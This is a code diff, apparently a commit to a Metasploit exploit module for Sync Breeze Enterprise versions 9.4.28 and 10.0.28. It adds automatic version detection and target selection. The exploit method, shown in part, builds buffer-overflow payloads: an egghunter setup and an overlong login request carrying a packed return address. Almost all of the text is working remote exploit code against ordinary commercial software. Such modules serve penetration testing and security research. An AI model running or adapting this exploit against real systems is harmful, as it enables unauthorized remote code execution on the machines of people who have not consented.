@@ -39,6 +39,9 @@ def initialize(info = {})
39
39
} ,
40
40
'Targets' =>
41
41
[
42
+ [
43
+ 'Automatic' , { }
44
+ ] ,
42
45
[ 'Sync Breeze Enterprise v9.4.28' ,
43
46
{
44
47
'Offset' => 2488 ,
@@ -57,34 +60,58 @@ def initialize(info = {})
57
60
'DefaultTarget' => 0 ) )
58
61
end
59
62
60
- def check
63
+ def get_product_name
61
64
res = send_request_cgi (
62
65
'method' => 'GET' ,
63
66
'uri' => '/'
64
67
)
65
68
66
69
if res && res . code == 200
67
- version = res . body [ /Sync Breeze Enterprise v[^<]*/ ]
68
- if version
69
- vprint_status ( "Version detected: #{ version } " )
70
- if version =~ /9\. 4\. 28/ or version =~ /10\. 0\. 28/
71
- return Exploit ::CheckCode ::Appears
72
- end
73
- return Exploit ::CheckCode ::Detected
74
- end
75
- else
76
- vprint_error ( 'Unable to determine due to a HTTP connection timeout' )
77
- return Exploit ::CheckCode ::Unknown
70
+ product_name = res . body . scan ( /(Sync Breeze Enterprise v[^<]*)/i ) . flatten . first
71
+ return product_name if product_name
72
+ end
73
+
74
+ nil
75
+ end
76
+
77
+ def check
78
+ product_name = get_product_name
79
+ return Exploit ::CheckCode ::Unknown unless product_name
80
+
81
+ if product_name =~ /9\. 4\. 28/ || product_name =~ /10\. 0\. 28/
82
+ return Exploit ::CheckCode ::Appears
83
+ elsif product_name =~ /Sync Breeze Enterprise/
84
+ return Exploit ::CheckCode ::Detected
78
85
end
79
86
80
87
Exploit ::CheckCode ::Safe
81
88
end
82
89
83
- def exploit
90
+ def get_target_name
91
+ if target . name != 'Automatic'
92
+ print_status ( "Target manually set as #{ target . name } " )
93
+ return target
94
+ else
95
+ print_status ( 'Automatically detecting target...' )
96
+ end
84
97
85
- case target . name
98
+ case get_product_name
99
+ when /9\. 4\. 28/
100
+ print_status ( 'Target is 9.4.28' )
101
+ return targets [ 1 ]
102
+ when /10\. 0\. 28/
103
+ print_status ( 'Target is 10.0.28' )
104
+ return targets [ 2 ]
105
+ else
106
+ nil
107
+ end
108
+ end
86
109
87
- when 'Sync Breeze Enterprise v9.4.28'
110
+ def exploit
111
+ tmp_target = target
112
+ case get_target_name
113
+ when targets [ 1 ]
114
+ target = targets [ 1 ]
88
115
eggoptions = {
89
116
checksum : true ,
90
117
eggtag : rand_text_alpha ( 4 , payload_badchars )
@@ -110,7 +137,8 @@ def exploit
110
137
'uri' => sploit
111
138
)
112
139
113
- when 'Sync Breeze Enterprise v10.0.28'
140
+ when targets [ 2 ]
141
+ target = targets [ 2 ]
114
142
uri = "/login"
115
143
sploit = rand_text_alpha ( target [ 'Offset' ] )
116
144
sploit << [ target . ret ] . pack ( 'V' )
@@ -128,6 +156,10 @@ def exploit
128
156
'password' => "rawr"
129
157
}
130
158
)
159
+ else
160
+ print_error ( "Exploit not suitable for this target." )
131
161
end
162
+ ensure
163
+ target = tmp_target
132
164
end
133
165
end
0 commit comments